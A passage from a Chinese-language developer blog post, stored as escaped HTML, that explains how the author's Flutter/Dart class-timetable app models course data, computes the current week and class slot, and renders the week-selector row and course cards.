class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch5 id=\"总体信息\"\u003e总体信息\u003c/h5\u003e\n\u003cp\u003e不仅包括上面提到的东西,还包括:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e学期长度:通过所有时间安排的上课周次数组中,最长的那个。\u003c/li\u003e\n\u003cli\u003e开学日期和当前学期代码。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"err\"\u003e@\u003c/span\u003e\u003cspan class=\"n\"\u003eJsonSerializable\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nl\"\u003eexplicitToJson:\u003c/span\u003e \u003cspan class=\"kc\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003eclass\u003c/span\u003e \u003cspan class=\"nc\"\u003eClassTableData\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003esemesterLength\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"n\"\u003esemesterCode\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"n\"\u003etermStartDay\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eList\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eClassDetail\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003eclassDetail\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eList\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eClassDetail\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003enotArranged\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eList\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eTimeArrangement\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003etimeArrangement\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e/// 略去初始化代码\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch4 id=\"控制器文件\"\u003e控制器文件\u003c/h4\u003e\n\u003cp\u003e控制器里包括了:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e课程数据,默认是空的。\u003c/li\u003e\n\u003cli\u003e预先渲染好的课程表数据。\u003c/li\u003e\n\u003cli\u003e当前是全学期第几周。\u003c/li\u003e\n\u003cli\u003e当前课程信息。\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch5 id=\"日期相关计算\"\u003e日期相关计算\u003c/h5\u003e\n\u003cp\u003e首先,我的课程表要处理课次偏移信息,所以在获取学校的开学日期后,还得加减相应的周次,虽然可以不搞的()\u003c/p\u003e\n\u003cp\u003e计算利用到开学日期,一个公式就可以解决:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003ecurrentWeek\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eJiffy\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003enow\u003c/span\u003e\u003cspan class=\"p\"\u003e().\u003c/span\u003e\u003cspan class=\"n\"\u003edayOfYear\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eJiffy\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eparseFromDateTime\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003estartDay\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"n\"\u003edayOfYear\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e~/\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"m\"\u003e7\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e其中 Jiffy 是一个计算时间的库,这里我利用了他计算当前是全年第几天。\u003c/p\u003e\n\u003ch5 id=\"预先渲染好的课程表数据\"\u003e预先渲染好的课程表数据\u003c/h5\u003e\n\u003cp\u003e这里的数据将会在控制器初始化时候生成,在获取到 Repo ,或称 Model ,提供的课程信息后进行合成。\u003c/p\u003e\n\u003cp\u003e我这里直接使用了四维度数组,你们可以认为是稀疏矩阵。虽然这不是最优解,但是他还算容易访问;虽然复杂度很高,但是由于数据量很小,对性能影响不大。\u003c/p\u003e\n\u003cp\u003e四维度数组是这样的表示:\u003c/p\u003e\n\u003cp\u003e周次-星期-第几节课-这节课重叠了几节课\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// A list as an index of the classtable items.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"n\"\u003elate\u003c/span\u003e \u003cspan class=\"n\"\u003eList\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eList\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eList\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eList\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u0026gt;\u0026gt;\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003epretendLayout\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e合成方法是:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e生成数组:周次 * 一周七天 * 一天十节课 * 一节课有几门安排。我们计算一下: \u003cbr\u003e\n假设一个学期二十周,没有课程重叠,这就是 20 x 7 x 10 x 1 = 1400 个单元。 \u003cbr\u003e\n数据量确实很小,总体上耗时也是很均衡。所以理论上这是个 O(n4) 复杂度算法,实际上可以认为这是个 O(1) 复杂度算法,这个在接下来渲染时候更加体现。\u003c/li\u003e\n\u003cli\u003e遍历每一周的每一天,进行插入课程操作。方法是对时间安排进行遍历,如果在这一天有安排,先将其安排到一个 \u003ccode\u003ethisDay\u003c/code\u003e 数组,然后对冲突处理后,插入到课程单元种\u003c/li\u003e\n\u003cli\u003e关于课程冲突,也就是一个单元内有两个安排,以课程长度长的优先。在步骤中,先对 \u003ccode\u003ethisDay\u003c/code\u003e 数组进行排序,然后进行插入。\u003c/li\u003e\n\u003cli\u003e剩下的单元,如果是空白,插入 -1 索引,表示不存在。\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e我解释完了,希望有个人帮我优化一下吧,我算法课成绩太差了:-P\u003c/p\u003e\n\u003cp\u003e目前想法是把后面那一堆简化掉,使用一个 Map 词典解决问题,也就是说:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003etypedef\u003c/span\u003e \u003cspan class=\"n\"\u003eMap\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"n\"\u003eList\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u0026gt;\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eWeekClassTable\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eList\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eWeekClassTable\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003epretendLayout\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e其中词典的 int 元素是一周中的第几节课,比如说,周三的第三节课就是 2*7+3 = 17,那它的索引就是 17。\u003c/p\u003e\n\u003ch5 id=\"获取当前时间课次\"\u003e获取当前时间课次\u003c/h5\u003e\n\u003cp\u003e主要是时间段计算,我有一个时间段列表。交替开始结束时间。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// Time arrangements.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// Even means start, odd means end.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"n\"\u003eList\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003eString\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003etime\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"p\"\u003e[\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;8:30\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;9:15\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;9:20\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;10:05\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;10:25\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;11:10\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;11:15\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;12:00\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;14:00\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;14:45\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;14:50\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;15:35\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;15:55\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;16:40\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;16:45\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;17:30\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;19:00\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;19:45\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;19:55\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;20:30\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003col\u003e\n\u003cli\u003e首先,介于 8:20 到 20:35 之间的时间才进行计算。\u003c/li\u003e\n\u003cli\u003e获取当前时间,然后在上面的数组中卡出时间在哪个之后。\u003c/li\u003e\n\u003cli\u003e如果那个时间属于上课时间,就是在上课,进行相关课程查找,否则,就是在课间。在课间就要考虑下一节课是啥状况,是和上一节课相同还是下一节课。\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch4 id=\"课表渲染\"\u003e课表渲染\u003c/h4\u003e\n\u003cp\u003e课表使用了 StatefulWidget 的原因是,课表渲染需要涉及到一些 View 里面相关的变量,我需要使用 initState 函数初始化,所以就这样了。虽然可以搞个 Stateless 组件,在它的初始化函数中初始化,但是保不齐将来我需要写啥保存页面状态,我就需要有状态了。\u003c/p\u003e\n\u003cp\u003e看过我上面的课程表图,可以发现,除了 AppBar ,我的课程表分成上面的周次选择列,和下面的课程表。除此之外,点开课程显示的课程信息又是一个组件。\u003c/p\u003e\n\u003cp\u003e这个组件里面定义了很多的常量,这里我不赘述。\u003c/p\u003e\n\u003ch5 id=\"课表页面初始化\"\u003e课表页面初始化\u003c/h5\u003e\n\u003cp\u003e首先介绍三个 Controller ,其中前两个十分重要,因为涉及到页面切换:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003elate\u003c/span\u003e \u003cspan class=\"n\"\u003ePageController\u003c/span\u003e \u003cspan class=\"n\"\u003epageControl\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"c1\"\u003e/// 记录页面信息的控制器\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"n\"\u003elate\u003c/span\u003e \u003cspan class=\"n\"\u003eScrollController\u003c/span\u003e \u003cspan class=\"n\"\u003erowControl\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"c1\"\u003e/// 滚动控制器\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"n\"\u003elate\u003c/span\u003e \u003cspan class=\"n\"\u003eBoxDecoration\u003c/span\u003e \u003cspan class=\"n\"\u003edecoration\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\t \u003cspan class=\"c1\"\u003e/// 一个 Container 的装饰配置信息\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e第一个 pageControl 涉及到 PageView ,这里就是课程表信息的页面,我们使用这个来方便换页。\u003c/p\u003e\n\u003cp\u003e第二个 rowControl 涉及到最上面的周次选择列,控制上面周次选择的滚动。\u003c/p\u003e\n\u003cp\u003e前两个控制器共享 currentWeekIndex 这个状态。\u003c/p\u003e\n\u003cp\u003e第三个 decoration 就是我课程表可以搞背景的东西,这个我不打算在博文里面说了,因为太简单了。\u003c/p\u003e\n\u003cp\u003e页面初始化,本质上就是这三个控制器的初始化了。首先判断当前应该显示第几周的课,然后分别使前两个控制器的初始值在对应的周次,最后初始化背景图(如果有的话)。\u003c/p\u003e\n\u003cp\u003e在判断显示周次上,如果当前不在上课周期,判断开学前还是刚放假,然后相应设置为第一周和最后一周。\u003c/p\u003e\n\u003ch5 id=\"最上面的表列\"\u003e最上面的表列\u003c/h5\u003e\n\u003cp\u003e这个是一列按钮,分别是周次按钮,和该周课表大致显示。\u003c/p\u003e\n\u003cp\u003e这个东西有个锁,叫做 \u003ccode\u003eisTopRowLocked\u003c/code\u003e ,保证按下按钮的时候数据的统一性,毕竟页面状态有两个控制器都在读。\u003c/p\u003e\n\u003cp\u003e每个按钮都有个函数,这个函数定义如下:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\u003cspan class=\"n\"\u003eisTopRowLocked\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"kc\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\u003cspan class=\"n\"\u003esetState\u003c/span\u003e\u003cspan class=\"p\"\u003e(()\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\u003cspan class=\"n\"\u003ecurrentWeekIndex\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eindex\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\u003cspan class=\"n\"\u003epageControl\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eanimateToPage\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"n\"\u003eindex\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"nl\"\u003ecurve:\u003c/span\u003e \u003cspan class=\"n\"\u003eCurves\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eeaseInOutCubic\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"nl\"\u003eduration:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"kd\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003eDuration\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nl\"\u003emilliseconds:\u003c/span\u003e \u003cspan class=\"n\"\u003echangePageTime\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\u003cspan class=\"n\"\u003echangeTopRow\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eindex\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e详情查看 \u003ccode\u003e_topRow\u003c/code\u003e 函数。\u003c/p\u003e\n\u003cp\u003e当按下按钮的时候,最顶部的锁锁上,然后刷新状态,这其中:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e设置页面信息为目标页面\u003c/li\u003e\n\u003cli\u003epageControl 控制器进行换页操作,这其中有动画和动画时长。\u003c/li\u003e\n\u003cli\u003e最上面表列进行换页操作,然后开锁。\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e其中上面换表列的操作比较复杂,因为不是 PageView,每次的偏移量需要提前算好,这也是我将换周次按钮的一些装饰信息写作常量的原因。\u003c/p\u003e\n\u003cp\u003e另外,为了适应横屏幕,尤其是手机窄屏幕的横屏幕,我设置了高度 500 px 限制,小于这个数时候,只显示文字,不显示大致课表概览。\u003c/p\u003e\n\u003ch5 id=\"索引行\"\u003e索引行\u003c/h5\u003e\n\u003cp\u003e这一行,在代码里面叫 \u003ccode\u003e_middleRow\u003c/code\u003e,是用来显示日期信息的。这块代码有三处值得注意:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e需要计算那一周周一的日期。\u003c/li\u003e\n\u003cli\u003e今天的颜色需要不一样。\u003c/li\u003e\n\u003cli\u003e长宽比不同的时候,字体的颜色不同。\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch5 id=\"课程表具体内容\"\u003e课程表具体内容\u003c/h5\u003e\n\u003cp\u003e课程表你可以发现有八列,最左面一列是显示数字索引的,这里不过多说明。右面七列就是课表了。\u003c/p\u003e\n\u003cp\u003e关于课表,希望大家还记得我上面说到的稀疏数组,那个数组实际上对应了这里。我们的渲染是按照周一到周日七天七列来处理的。\u003c/p\u003e\n\u003cp\u003e每一列都是由若干 classCard 生成的,classCard 需要三个变量:课程索引,课程长度,以及一个冲突课程 Set 。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eWidget\u003c/span\u003e \u003cspan class=\"n\"\u003eclassCard\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eindex\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003edouble\u003c/span\u003e \u003cspan class=\"n\"\u003eheight\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eSet\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003econflict\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e卡片根据索引来渲染:如果索引是 -1,我们认为这个地方没课,渲染一个空白的卡片占位;如果索引不是 